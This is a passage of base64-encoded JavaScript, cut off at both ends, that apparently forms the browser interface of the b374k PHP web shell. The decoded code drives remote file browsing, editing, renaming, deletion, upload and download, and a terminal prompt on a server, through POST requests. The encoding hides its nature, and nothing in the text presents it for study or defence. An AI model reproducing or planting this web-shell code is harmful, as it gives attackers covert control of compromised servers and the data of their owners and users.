UuZ2V0SXRlbSgnaW5mb0JhclNob3duJykpKXsKCQkJaWYoaW5mb0JhclNob3duPT0nc2hvd24nKXsKCQkJCSQoJyNiYXNpY0luZm8nKS5zaG93KCk7CgkJCQkkKCcjc2hvd2luZm8nKS5oaWRlKCk7CgkJCX0KCQkJZWxzZXsKCQkJCSQoJyNiYXNpY0luZm8nKS5oaWRlKCk7CgkJCQkkKCcjc2hvd2luZm8nKS5zaG93KCk7CgkJCQkkKCcjdG9nZ2xlQmFzaWNJbmZvJykuaGlkZSgpOwoJCQl9CgkJfQoJCWVsc2V7CgkJCWluZm9fcmVmcmVzaCgpOwoJCX0KCgkJaWYoaGlzdG9yeS5wdXNoU3RhdGUpewoJCQl3aW5kb3cub25wb3BzdGF0ZSA9IGZ1bmN0aW9uKGV2ZW50KSB7IHJlZnJlc2hfdGFiKCk7IH07CgkJfQoJCWVsc2V7CgkJCXdpbmRvdy5oaXN0b3J5RXZlbnQgPSBmdW5jdGlvbihldmVudCkgewlyZWZyZXNoX3RhYigpOyB9OwoJCX0KCX0KfSk7CgpmdW5jdGlvbiBvdXRwdXQoc3RyKXsKCWNvbnNvbGUubG9nKCdiMzc0az4gJytzdHIpOwp9CgpmdW5jdGlvbiB3aW5kb3dfcmVzaXplKCl7Cglib2R5V2lkdGggPSAkKCdib2R5Jykud2lkdGgoKTsKCWlmKGJvZHlXaWR0aDw9cG9ydGFibGVXaWR0aCl7CgkJbGF5b3V0X3BvcnRhYmxlKCk7Cgl9CgllbHNlewoJCWxheW91dF9ub3JtYWwoKTsKCX0KfQoKZnVuY3Rpb24gbGF5b3V0X3BvcnRhYmxlKCl7CgluYXYgPSAkKCcjbmF2Jyk7CgltZW51ID0gJCgnI21lbnUnKTsKCWhlYWRlck5hdiA9ICQoJyNoZWFkZXJOYXYnKTsKCWNvbnRlbnQgPSAkKCcjY29udGVudCcpOwoKCS8vbmF2LmhpZGUoKTsKCW5hdi5wcmVwZW5kVG8oJyNjb250ZW50Jyk7CgluYXYuY3NzKCdwYWRkaW5nJywnNXB4IDhweCcpOwoJbmF2LmNzcygnbWFyZ2luLXRvcCcsICc4cHgnKTsKCW5hdi5jc3MoJ2Rpc3BsYXknLCdibG9jaycpOwoJbmF2LmFkZENsYXNzKCdib3JkZXInKTsKCQoJbWVudS5jaGlsZHJlbigpLmNzcygnd2lkdGgnLCAnMTAwJScpOwoJbWVudS5oaWRlKCk7CgkkKCcjbWVudUJ1dHRvbicpLnJlbW92ZSgpOwkKCWhlYWRlck5hdi5wcmVwZW5kKCI8ZGl2IGlkPSdtZW51QnV0dG9uJyBjbGFzcz0nYm94dGl0bGUnIG9uY2xpY2s9XCIkKCcjbWVudScpLnRvZ2dsZSgpO1wiIHN0eWxlPSdmbG9hdC1sZWZ0O2Rpc3BsYXk6aW5saW5lO3BhZGRpbmc6NHB4IDhweDttYXJnaW4tcmlnaHQ6OHB4Oyc+bWVudTwvZGl2PiIpOwoJbWVudS5hdHRyKCdvbmNsaWNrJywgIlwkKCcjbWVudScpLmhpZGUoKTsiKTsKCQoJJCgnI3hwbFRhYmxlIHRyPjpudGgtY2hpbGQoNCknKS5oaWRlKCk7CgkkKCcjeHBsVGFibGUgdHI+Om50aC1jaGlsZCg1KScpLmhpZGUoKTsKCWlmKCF3aW4pewoJCSQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDYpJykuaGlkZSgpOwoJfQoJCgl0Ymxmb290ID0gJCgnI3hwbFRhYmxlIHRmb290IHRkOmxhc3QtY2hpbGQnKTsKCWlmKHRibGZvb3RbMF0pIHRibGZvb3RbMF0uY29sU3BhbiA9IDE7CglpZih0Ymxmb290WzFdKSB0Ymxmb290WzFdLmNvbFNwYW4gPSAyOwoJCgkKCSQoJy5ib3gnKS5jc3MoJ3dpZHRoJywgJzEwMCUnKTsKCSQoJy5ib3gnKS5jc3MoJ2hlaWdodCcsICcxMDAlJyk7CgkkKCcuYm94JykuY3NzKCdsZWZ0JywgJzBweCcpOwoJJCgnLmJveCcpLmNzcygndG9wJywgJzBweCcpOwoJCQoJcGFkZGluZ1RvcCA9ICQoJyNoZWFkZXInKS5oZWlnaHQoKTsKCWNvbnRlbnQuY3NzKCdwYWRkaW5nLXRvcCcsIHBhZGRpbmdUb3ArJ3B4Jyk7CgkKCXBvcnRhYmxlTW9kZSA9IHRydWU7Cn0KCmZ1bmN0aW9uIGxheW91dF9ub3JtYWwoKXsJCgluYXYgPSAkKCcjbmF2Jyk7CgltZW51ID0gJCgnI21lbnUnKTsJCgljb250ZW50ID0gJCgnI2NvbnRlbnQnKTsKCgluYXYuaW5zZXJ0QWZ0ZXIoJyNiMzc0aycpOwoJbmF2LmNzcygncGFkZGluZycsJzAnKTsKCW5hdi5jc3MoJ21hcmdpbi10b3AnLCAnMCcpOwoJbmF2LmNzcygnZGlzcGxheScsJ2lubGluZScpOwoJbmF2LnJlbW92ZUNsYXNzKCdib3JkZXInKTsKCQoJbWVudS5jaGlsZHJlbigpLmNzcygnd2lkdGgnLCAnYXV0bycpOwoJbWVudS5zaG93KCk7CgkkKCcjbWVudUJ1dHRvbicpLnJlbW92ZSgpOwoJbWVudS5hdHRyKCdvbmNsaWNrJywgIiIpOwoJCgkkKCcjeHBsVGFibGUgdHI+Om50aC1jaGlsZCg0KScpLnNob3coKTsKCSQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDUpJykuc2hvdygpOwoJaWYoIXdpbil7CgkJJCgnI3hwbFRhYmxlIHRyPjpudGgtY2hpbGQoNiknKS5zaG93KCk7CgkJY29sc3BhbiA9IDQ7Cgl9CgllbHNlIGNvbHNwYW4gPSAzOwoJCgl0Ymxmb290ID0gJCgnI3hwbFRhYmxlIHRmb290IHRkOmxhc3QtY2hpbGQnKTsKCWlmKHRibGZvb3RbMF0pIHRibGZvb3RbMF0uY29sU3BhbiA9IGNvbHNwYW47CglpZih0Ymxmb290WzFdKSB0Ymxmb290WzFdLmNvbFNwYW4gPSBjb2xzcGFuKzE7CgoJcGFkZGluZ1RvcCA9ICQoJyNoZWFkZXInKS5oZWlnaHQoKTsKCWNvbnRlbnQuY3NzKCdwYWRkaW5nLXRvcCcsIHBhZGRpbmdUb3ArJ3B4Jyk7CgkKCXBvcnRhYmxlTW9kZSA9IGZhbHNlOwp9CgpmdW5jdGlvbiBzdGFydF9zY3JvbGwoc3RyKXsKCWlmKHN0cj09J3RvcCcpewoJCXRvID0gJCh3aW5kb3cpLnNjcm9sbFRvcCgpIC0gc2Nyb2xsQ291bnRlcjsKCQlzY3JvbGxDb3VudGVyID0gc2Nyb2xsRGVsdGEgKyBzY3JvbGxDb3VudGVyOwoJCWlmKHRvPD0wKXsKCQkJdG8gPSAwOwoJCQlvblNjcm9sbCA9IGZhbHNlOwoJCX0KCQllbHNlIGlmKG9uU2Nyb2xsKXsKCQkJc2Nyb2xsVGltZXIgPSBzZXRUaW1lb3V0KCJzdGFydF9zY3JvbGwoJ3RvcCcpIiwgc2Nyb2xsU3BlZWQpOwoJCQkkKHdpbmRvdykuc2Nyb2xsVG9wKHRvKTsKCQl9Cgl9CgllbHNlIGlmKHN0cj09J2JvdHRvbScpewoJCXRvID0gJCh3aW5kb3cpLnNjcm9sbFRvcCgpICsgc2Nyb2xsQ291bnRlcjsKCQlzY3JvbGxDb3VudGVyID0gc2Nyb2xsRGVsdGEgKyBzY3JvbGxDb3VudGVyOwoJCWJvdHRvbSA9ICQoZG9jdW1lbnQpLmhlaWdodCgpLSQod2luZG93KS5oZWlnaHQoKTsKCQlpZih0bz49Ym90dG9tKXsKCQkJdG8gPSBib3R0b207CgkJCW9uU2Nyb2xsID0gZmFsc2U7CgkJfQoJCWVsc2UgaWYob25TY3JvbGwpewoJCQlzY3JvbGxUaW1lciA9IHNldFRpbWVvdXQoInN0YXJ0X3Njcm9sbCgnYm90dG9tJykiLCBzY3JvbGxTcGVlZCk7CgkJCSQod2luZG93KS5zY3JvbGxUb3AodG8pOwoJCX0KCX0KfQoKZnVuY3Rpb24gZ2V0X2N3ZCgpewoJcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChnZXRfY29va2llKCdjd2QnKSk7Cn0KCmZ1bmN0aW9uIGZpeF90YWJjaGFyKGVsLCBlKXsKCWlmKGUua2V5Q29kZT09OSl7CgkJZS5wcmV2ZW50RGVmYXVsdCgpOwoJCXZhciBzID0gZWwuc2VsZWN0aW9uU3RhcnQ7CgkJZWwudmFsdWUgPSBlbC52YWx1ZS5zdWJzdHJpbmcoMCxlbC5zZWxlY3Rpb25TdGFydCkgKyAiXHQiICsgZWwudmFsdWUuc3Vic3RyaW5nKGVsLnNlbGVjdGlvbkVuZCk7CgkJZWwuc2VsZWN0aW9uRW5kID0gcysxOwoJfQp9CgpmdW5jdGlvbiBnZXRfY29va2llKGtleSl7Cgl2YXIgcmVzOwoJcmV0dXJuIChyZXMgPSBuZXcgUmVnRXhwKCcoPzpefDsgKScgKyBlbmNvZGVVUklDb21wb25lbnQoa2V5KSArICc9KFteO10qKScpLmV4ZWMoZG9jdW1lbnQuY29va2llKSkgPyAocmVzWzFdKSA6IG51bGw7Cn0KCmZ1bmN0aW9uIHNldF9jb29raWUoa2V5LCB2YWx1ZSl7Cglkb2N1bWVudC5jb29raWUgPSBrZXkgKyAnPScgKyBlbmNvZGVVUklDb21wb25lbnQodmFsdWUpOwp9CgpmdW5jdGlvbiBodG1sX3NhZmUoc3RyKXsKCWlmKHR5cGVvZihzdHIpID09ICJzdHJpbmciKXsKCQlzdHIgPSBzdHIucmVwbGFjZSgvJi9nLCAiJmFtcDsiKTsKCQlzdHIgPSBzdHIucmVwbGFjZSgvIi9nLCAiJnF1b3Q7Iik7CgkJc3RyID0gc3RyLnJlcGxhY2UoLycvZywgIiYjMDM5OyIpOwoJCXN0ciA9IHN0ci5yZXBsYWNlKC88L2csICImbHQ7Iik7CgkJc3RyID0gc3RyLnJlcGxhY2UoLz4vZywgIiZndDsiKTsKCX0KCXJldHVybiBzdHI7Cn0KCmZ1bmN0aW9uIHVjZmlyc3Qoc3RyKXsKCXJldHVybiBzdHIuY2hhckF0KDApLnRvVXBwZXJDYXNlKCkgKyBzdHIuc2xpY2UoMSk7Cn0KCmZ1bmN0aW9uIHRpbWUoKXsKCXZhciBkID0gbmV3IERhdGUoKTsKCXJldHVybiBkLmdldFRpbWUoKTsKfQoKZnVuY3Rpb24gc2VuZF9wb3N0KHRhcmdldGRhdGEsIGNhbGxiYWNrLCBsb2FkaW5nKXsKCWlmKGxvYWRpbmc9PW51bGwpIGxvYWRpbmdfc3RhcnQoKTsKCSQuYWpheCh7CgkJdXJsOiB0YXJnZXR1cmwsCgkJdHlwZTogJ1BPU1QnLAoJCWRhdGE6IHRhcmdldGRhdGEsCgkJc3VjY2VzczogZnVuY3Rpb24ocmVzKXsKCQkJY2FsbGJhY2socmVzKTsKCQkJaWYobG9hZGluZz09bnVsbCkgbG9hZGluZ19zdG9wKCk7CgkJfSwKCQllcnJvcjogZnVuY3Rpb24oKXsgaWYobG9hZGluZz09bnVsbCkgbG9hZGluZ19zdG9wKCk7IH0KCX0pOwp9CgpmdW5jdGlvbiBsb2FkaW5nX3N0YXJ0KCl7CglpZighcnVubmluZyl7CgkJJCgnI292ZXJsYXknKS5zaG93KCk7CgkJcnVubmluZyA9IHRydWU7CgkJbG9hZGluZ19sb29wKCk7Cgl9Cn0KCmZ1bmN0aW9uIGxvYWRpbmdfbG9vcCgpewoJaWYocnVubmluZyl7CgkJaW1nID0gJCgnI2xvYWRpbmcnKTsKCQlpbWcuY3NzKCd0cmFuc2Zvcm0nLCAncm90YXRlKCcrbG9hZGluZ19jb3VudCsnZGVnKScpOwoJCWltZy5jc3MoJy1tcy10cmFuc2Zvcm0nLCAncm90YXRlKCcrbG9hZGluZ19jb3VudCsnZGVnKScpOwoJCWltZy5jc3MoJy13ZWJraXQtdHJhbnNmb3JtJywgJ3JvdGF0ZSgnK2xvYWRpbmdfY291bnQrJ2RlZyknKTsKCgkJbG9hZGluZ19jb3VudCs9NzsKCQlpZihsb2FkaW5nX2NvdW50PjM2MCkgbG9hZGluZ19jb3VudCA9IDA7CgkJaWYocnVubmluZykgc2V0VGltZW91dCgibG9hZGluZ19sb29wKCkiLDIwKTsKCX0KfQoKZnVuY3Rpb24gbG9hZGluZ19zdG9wKCl7CglpZihydW5uaW5nKXsKCQlpbWcgPSAkKCcjbG9hZGluZycpOwoJCWltZy5jc3MoJ3RyYW5zZm9ybScsICdyb3RhdGUoMGRlZyknKTsKCQlpbWcuY3NzKCctbXMtdHJhbnNmb3JtJywgJ3JvdGF0ZSgwZGVnKScpOwoJCWltZy5jc3MoJy13ZWJraXQtdHJhbnNmb3JtJywgJ3JvdGF0ZSgwZGVnKScpOwoKCQkkKCcjb3ZlcmxheScpLmhpZGUoKTsKCQlydW5uaW5nID0gZmFsc2U7Cgl9Cn0KCmZ1bmN0aW9uIHNob3dfdGFiKGlkKXsKCWlmKCFpZCl7CgkJaWYobG9jYXRpb24uaGFzaCE9JycpIGlkID0gbG9jYXRpb24uaGFzaC5zdWJzdHIoMik7CgkJZWxzZSBpZCA9IGRlZmF1bHRUYWI7Cgl9CglyZWZyZXNoX3RhYihpZCk7Cn0KCmZ1bmN0aW9uIHJlZnJlc2hfdGFiKGlkKXsKCWlmKCFpZCl7CgkJaWYobG9jYXRpb24uaGFzaCE9JycpIGlkID0gbG9jYXRpb24uaGFzaC5zdWJzdHIoMik7CgkJZWxzZSBpZCA9IGRlZmF1bHRUYWI7Cgl9CgkkKCcubWVudWl0ZW1TZWxlY3RlZCcpLnJlbW92ZUNsYXNzKCJtZW51aXRlbVNlbGVjdGVkIik7CgkkKCcjbWVudScraWQpLmFkZENsYXNzKCJtZW51aXRlbVNlbGVjdGVkIik7CgoJdGFiU2Nyb2xsW2N1cnJlbnRUYWIuYXR0cignaWQnKV0gPSAkKHdpbmRvdykuc2Nyb2xsVG9wKCk7CgljdXJyZW50VGFiLmhpZGUoKTsKCWN1cnJlbnRUYWIgPSAkKCcjJytpZCk7CgljdXJyZW50VGFiLnNob3coKTsKCXdpbmRvd1tpZF0oKTsKCWlmKHRhYlNjcm9sbFtpZF0pewoJCSQod2luZG93KS5zY3JvbGxUb3AodGFiU2Nyb2xsW2lkXSk7Cgl9CgloaWRlX2JveCgpOwp9CgpmdW5jdGlvbiB0cmFwX2VudGVyKGUsIGNhbGxiYWNrKXsKCWlmKGUua2V5Q29kZT09MTMpewoJCWlmKGNhbGxiYWNrIT1udWxsKSB3aW5kb3dbY2FsbGJhY2tdKCk7Cgl9Cn0KCmZ1bmN0aW9uIHNob3dfYm94KHRpdGxlLCBjb250ZW50KXsKCW9uRHJhZyA9IGZhbHNlOwoJaGlkZV9ib3goKTsKCWJveCA9ICI8ZGl2IGNsYXNzPSdib3gnPjxwIGNsYXNzPSdib3h0aXRsZSc+Iit0aXRsZSsiPHNwYW4gY2xhc3M9J2JveGNsb3NlIGZsb2F0UmlnaHQnPng8L3NwYW4+PC9wPjxkaXYgY2xhc3M9J2JveGNvbnRlbnQnPiIrY29udGVudCsiPC9kaXY+PGRpdiBjbGFzcz0nYm94cmVzdWx0Jz48L2Rpdj48L2Rpdj4iOwoJJCgnI2NvbnRlbnQnKS5hcHBlbmQoYm94KTsKCglib3hfd2lkdGggPSAkKCcuYm94Jykud2lkdGgoKTsKCWJvZHlfd2lkdGggPSAkKCdib2R5Jykud2lkdGgoKTsKCglib3hfaGVpZ2h0ID0gJCgnLmJveCcpLmhlaWdodCgpOwoJYm9keV9oZWlnaHQgPSAkKCdib2R5JykuaGVpZ2h0KCk7CgoJeCA9IChib2R5X3dpZHRoIC0gYm94X3dpZHRoKS8yOwoJeSA9IChib2R5X2hlaWdodCAtIGJveF9oZWlnaHQpLzI7CglpZih4PDAgfHwgcG9ydGFibGVNb2RlKSB4ID0gMDsKCWlmKHk8MCB8fCBwb3J0YWJsZU1vZGUpIHkgPSAwOwoJaWYocG9ydGFibGVNb2RlKXsKCQkkKCcuYm94JykuY3NzKCd3aWR0aCcsICcxMDAlJyk7CgkJJCgnLmJveCcpLmNzcygnaGVpZ2h0JywgJzEwMCUnKTsJCgl9CgoJJCgnLmJveCcpLmNzcygnbGVmdCcsIHgrJ3B4Jyk7CgkkKCcuYm94JykuY3NzKCd0b3AnLCB5KydweCcpOwoKCSQoJy5ib3hjbG9zZScpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCWhpZGVfYm94KCk7Cgl9KTsKCQoJaWYoIXBvcnRhYmxlTW9kZSl7CgkJJCgnLmJveHRpdGxlJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJCWlmKCFvbkRyYWcpewoJCQkJZHJhZ0RlbHRhWCA9IGUucGFnZVggLSBwYXJzZUludCgkKCcuYm94JykuY3NzKCdsZWZ0JykpOwoJCQkJZHJhZ0RlbHRhWSA9IGUucGFnZVkgLSBwYXJzZUludCgkKCcuYm94JykuY3NzKCd0b3AnKSk7CgkJCQlkcmFnX3N0YXJ0KCk7CgkJCX0KCQkJZWxzZSBkcmFnX3N0b3AoKTsKCQl9KTsKCX0KCgkkKGRvY3VtZW50KS5vZmYoJ2tleXVwJyk7CgkkKGRvY3VtZW50KS5vbigna2V5dXAnLCBmdW5jdGlvbihlKXsKCQlpZihlLmtleUNvZGUgPT0gMjcpIGhpZGVfYm94KCk7Cgl9KTsKCglpZigkKCcuYm94IGlucHV0JylbMF0pICQoJy5ib3ggaW5wdXQnKVswXS5mb2N1cygpOwp9CgpmdW5jdGlvbiBoaWRlX2JveCgpewoJJChkb2N1bWVudCkub2ZmKCdrZXl1cCcpOwoJJCgnLmJveCcpLnJlbW92ZSgpOwp9CgpmdW5jdGlvbiBkcmFnX3N0YXJ0KCl7CglpZighb25EcmFnKXsKCQlvbkRyYWcgPSB0cnVlOwoJCSQoJ2JvZHknKS5vZmYoJ21vdXNlbW92ZScpOwoJCSQoJ2JvZHknKS5vbignbW91c2Vtb3ZlJywgZnVuY3Rpb24oZSl7CgkJCWRyYWdYID0gZS5wYWdlWDsKCQkJZHJhZ1kgPSBlLnBhZ2VZOwoJCX0pOwoJCXNldFRpbWVvdXQoJ2RyYWdfbG9vcCgpJyw1MCk7Cgl9Cn0KCmZ1bmN0aW9uIGRyYWdfbG9vcCgpewoJaWYob25EcmFnKXsKCQl4ID0gZHJhZ1ggLSBkcmFnRGVsdGFYOwoJCXkgPSBkcmFnWSAtIGRyYWdEZWx0YVk7CgkJaWYoeTwwKXk9MDsKCQkkKCcuYm94JykuY3NzKCdsZWZ0JywgeCsncHgnKTsKCQkkKCcuYm94JykuY3NzKCd0b3AnLCB5KydweCcpOwoJCXNldFRpbWVvdXQoJ2RyYWdfbG9vcCgpJyw1MCk7Cgl9Cn0KCmZ1bmN0aW9uIGRyYWdfc3RvcCgpewoJb25EcmFnID0gZmFsc2U7CgkkKCdib2R5Jykub2ZmKCdtb3VzZW1vdmUnKTsKfQoKZnVuY3Rpb24gZ2V0X2FsbF9jYm94X3NlbGVjdGVkKGlkLCBjYWxsYmFjayl7Cgl2YXIgYnVmZmVyID0gbmV3IEFycmF5KCk7CgkkKCcjJytpZCkuZmluZCgnLmNCb3hTZWxlY3RlZCcpLm5vdCgnLmNCb3hBbGwnKS5lYWNoKGZ1bmN0aW9uKGkpewoJCWlmKChocmVmID0gd2luZG93W2NhbGxiYWNrXSgkKHRoaXMpKSkpewoJCQlidWZmZXJbaV0gPSBocmVmOwoJCX0KCX0pOwoJcmV0dXJuIGJ1ZmZlcjsKfQoKCmZ1bmN0aW9uIGNib3hfYmluZChpZCwgY2FsbGJhY2spewoJJCgnIycraWQpLmZpbmQoJy5jQm94Jykub2ZmKCdjbGljaycpOwoJJCgnIycraWQpLmZpbmQoJy5jQm94QWxsJykub2ZmKCdjbGljaycpOwoKCSQoJyMnK2lkKS5maW5kKCcuY0JveCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCWlmKCQodGhpcykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpKXsKCQkJJCh0aGlzKS5yZW1vdmVDbGFzcygnY0JveFNlbGVjdGVkJyk7CgkJfQoJCWVsc2UgJCh0aGlzKS5hZGRDbGFzcygnY0JveFNlbGVjdGVkJyk7CgkJaWYoY2FsbGJhY2shPW51bGwpIHdpbmRvd1tjYWxsYmFja10oKTsKCX0pOwoJJCgnIycraWQpLmZpbmQoJy5jQm94QWxsJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJaWYoJCh0aGlzKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykpewoJCQkkKCcjJytpZCkuZmluZCgnLmNCb3gnKS5yZW1vdmVDbGFzcygnY0JveFNlbGVjdGVkJyk7CgkJCSQoJyMnK2lkKS5maW5kKCcuY0JveEFsbCcpLnJlbW92ZUNsYXNzKCdjQm94U2VsZWN0ZWQnKTsKCQl9CgkJZWxzZXsKCQkJJCgnIycraWQpLmZpbmQoJy5jQm94Jykubm90KCcuY0JveEV4Y2VwdGlvbicpLmFkZENsYXNzKCdjQm94U2VsZWN0ZWQnKTsKCQkJJCgnIycraWQpLmZpbmQoJy5jQm94QWxsJykubm90KCcuY0JveEV4Y2VwdGlvbicpLmFkZENsYXNzKCdjQm94U2VsZWN0ZWQnKTsKCQl9CgkJaWYoY2FsbGJhY2shPW51bGwpIHdpbmRvd1tjYWxsYmFja10oKTsKCX0pOwp9CgoKZnVuY3Rpb24gYWN0aW9uKHBhdGgsIHR5cGUpewoJdGl0bGUgPSAiQWN0aW9uIjsKCWNvbnRlbnQgPSAnJzsKCWlmKHR5cGU9PSdmaWxlJykgY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9JyIrcGF0aCsiJyBkaXNhYmxlZD48L3RkPjwvdHI+PHRyIGRhdGEtcGF0aD0nIitwYXRoKyInPjx0ZD48c3BhbiBjbGFzcz0nZWRpdCBidXR0b24nPmVkaXQ8L3NwYW4+PHNwYW4gY2xhc3M9J3JlbiBidXR0b24nPnJlbmFtZTwvc3Bhbj48c3BhbiBjbGFzcz0nZGVsIGJ1dHRvbic+ZGVsZXRlPC9zcGFuPjxzcGFuIGNsYXNzPSdkbCBidXR0b24nPmRvd25sb2FkPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CglpZih0eXBlPT0nZGlyJykgY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9JyIrcGF0aCsiJyBkaXNhYmxlZD48L3RkPjwvdHI+PHRyIGRhdGEtcGF0aD0nIitwYXRoKyInPjx0ZD48c3BhbiBjbGFzcz0nZmluZCBidXR0b24nPmZpbmQ8L3NwYW4+PHNwYW4gY2xhc3M9J3VsIGJ1dHRvbic+dXBsb2FkPC9zcGFuPjxzcGFuIGNsYXNzPSdyZW4gYnV0dG9uJz5yZW5hbWU8L3NwYW4+PHNwYW4gY2xhc3M9J2RlbCBidXR0b24nPmRlbGV0ZTwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJaWYodHlwZT09J2RvdCcpIGNvbnRlbnQgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQ+PGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciK3BhdGgrIicgZGlzYWJsZWQ+PC90ZD48L3RyPjx0ciBkYXRhLXBhdGg9JyIrcGF0aCsiJz48dGQ+PHNwYW4gY2xhc3M9J2ZpbmQgYnV0dG9uJz5maW5kPC9zcGFuPjxzcGFuIGNsYXNzPSd1bCBidXR0b24nPnVwbG9hZDwvc3Bhbj48c3BhbiBjbGFzcz0ncmVuIGJ1dHRvbic+cmVuYW1lPC9zcGFuPjxzcGFuIGNsYXNzPSdkZWwgYnV0dG9uJz5kZWxldGU8L3NwYW4+PHNwYW4gY2xhc3M9J25ld2ZpbGUgYnV0dG9uJz5uZXcgZmlsZTwvc3Bhbj48c3BhbiBjbGFzcz0nbmV3Zm9sZGVyIGJ1dHRvbic+bmV3IGZvbGRlcjwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJc2hvd19ib3godGl0bGUsIGNvbnRlbnQpOwoJeHBsX2JpbmQoKTsKfQoKZnVuY3Rpb24gbmF2aWdhdGUocGF0aCwgc2hvd2ZpbGVzKXsKCWlmKHNob3dmaWxlcz09bnVsbCkgc2hvd2ZpbGVzID0gJ3RydWUnOwoJc2VuZF9wb3N0KHsgY2Q6cGF0aCwgc2hvd2ZpbGVzOnNob3dmaWxlcyB9LCBmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCXNwbGl0cyA9IHJlcy5zcGxpdCgne1t8YjM3NGt8XX0nKTsKCQkJaWYoc3BsaXRzLmxlbmd0aD09Myl7CgkJCQkkKCcjbmF2JykuaHRtbChzcGxpdHNbMV0pOwoJCQkJaWYoc2hvd2ZpbGVzPT0ndHJ1ZScpewoJCQkJCSQoJyNleHBsb3JlcicpLmh0bWwoJycpOwoJCQkJCSQoJyNleHBsb3JlcicpLmh0bWwoc3BsaXRzWzJdKTsKCQkJCQlzb3J0dGFibGUuaygkKCcjeHBsVGFibGUnKS5nZXQoMCkpOwoJCQkJfQoJCQkJJCgnI3Rlcm1pbmFsQ3dkJykuaHRtbChodG1sX3NhZmUoZ2V0X2N3ZCgpKSsnJmd0OycpOwoJCQkJeHBsX2JpbmQoKTsKCQkJCXdpbmRvd19yZXNpemUoKTsKCQkJfQoJCX0KCX0pOwp9CgpmdW5jdGlvbiB2aWV3KHBhdGgsIHR5cGUsIHByZXNlcnZlVGltZXN0YW1wKXsKCWlmKHByZXNlcnZlVGltZXN0YW1wPT1udWxsKSBwcmVzZXJ2ZVRpbWVzdGFtcCA9ICd0cnVlJzsKCXNlbmRfcG9zdCh7IHZpZXdGaWxlOiBwYXRoLCB2aWV3VHlwZTogdHlwZSwgcHJlc2VydmVUaW1lc3RhbXA6cHJlc2VydmVUaW1lc3RhbXAgfSwgZnVuY3Rpb24ocmVzKXsKCQlpZihyZXMhPSdlcnJvcicpewoJCQkkKCcjZXhwbG9yZXInKS5odG1sKCcnKTsKCQkJJCgnI2V4cGxvcmVyJykuaHRtbChyZXMpOwoJCQl4cGxfYmluZCgpOwoJCQlzaG93X3RhYignZXhwbG9yZXInKTsKCQkJaWYoKHR5cGU9PSdlZGl0Jyl8fCh0eXBlPT0naGV4JykpewoJCQkJZWRpdFJlc3VsdCA9ICh0eXBlPT0nZWRpdCcpPyAkKCcjZWRpdFJlc3VsdCcpOiQoJyNlZGl0SGV4UmVzdWx0Jyk7CgkJCQlpZihlZGl0U3VjY2Vzcz09J3N1Y2Nlc3MnKXsKCQkJCQllZGl0UmVzdWx0Lmh0bWwoJyAoIEZpbGUgc2F2ZWQgKScpOwoJCQkJfQoJCQkJZWxzZSBpZihlZGl0U3VjY2Vzcz09J2Vycm9yJyl7CgkJCQkJZWRpdFJlc3VsdC5odG1sKCcgKCBGYWlsZWQgdG8gc2F2ZSBmaWxlICknKTsKCQkJCX0KCQkJCWVkaXRTdWNjZXNzID0gJyc7CgkJCX0KCQkJY2JveF9iaW5kKCdlZGl0VGJsJyk7CgkJfQoJfSk7Cn0KCmZ1bmN0aW9uIHZpZXdfZW50cnkoZWwpewoJaWYoJChlbCkuYXR0cignZGF0YS1wYXRoJykhPScnKXsKCQllbnRyeSA9ICQoZWwpLmF0dHIoJ2RhdGEtcGF0aCcpOwoJCSQoJyNmb3JtJykuYXBwZW5kKCI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd2aWV3RW50cnknIHZhbHVlPSciK2VudHJ5KyInPiIpOwoJCSQoJyNmb3JtJykuc3VibWl0KCk7CgkJJCgnI2Zvcm0nKS5odG1sKCcnKTsKCX0KfQoKZnVuY3Rpb24gcmVuKHBhdGgpewoJdGl0bGUgPSAiUmVuYW1lIjsKCWNvbnRlbnQgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+UmVuYW1lIHRvPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdyZW5hbWVGaWxlVG8nIHZhbHVlPSciICtwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdyZW5fZ28nKTtcIj48aW5wdXQgdHlwZT0naGlkZGVuJyBjbGFzcz0ncmVuYW1lRmlsZScgdmFsdWU9JyIrcGF0aCsiJz48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPSdyZW5fZ28oKTsnPnJlbmFtZTwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJc2hvd19ib3godGl0bGUsIGNvbnRlbnQpOwp9CgpmdW5jdGlvbiByZW5fZ28oKXsKCXJlbmFtZUZpbGUgPSAkKCcucmVuYW1lRmlsZScpLnZhbCgpOwoJcmVuYW1lRmlsZVRvID0gJCgnLnJlbmFtZUZpbGVUbycpLnZhbCgpOwoJc2VuZF9wb3N0KHtyZW5hbWVGaWxlOnJlbmFtZUZpbGUsIHJlbmFtZUZpbGVUbzpyZW5hbWVGaWxlVG99LCBmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCW5hdmlnYXRlKHJlcyk7CgkJCSQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgc3VjY2VlZGVkJyk7CgkJCSQoJy5y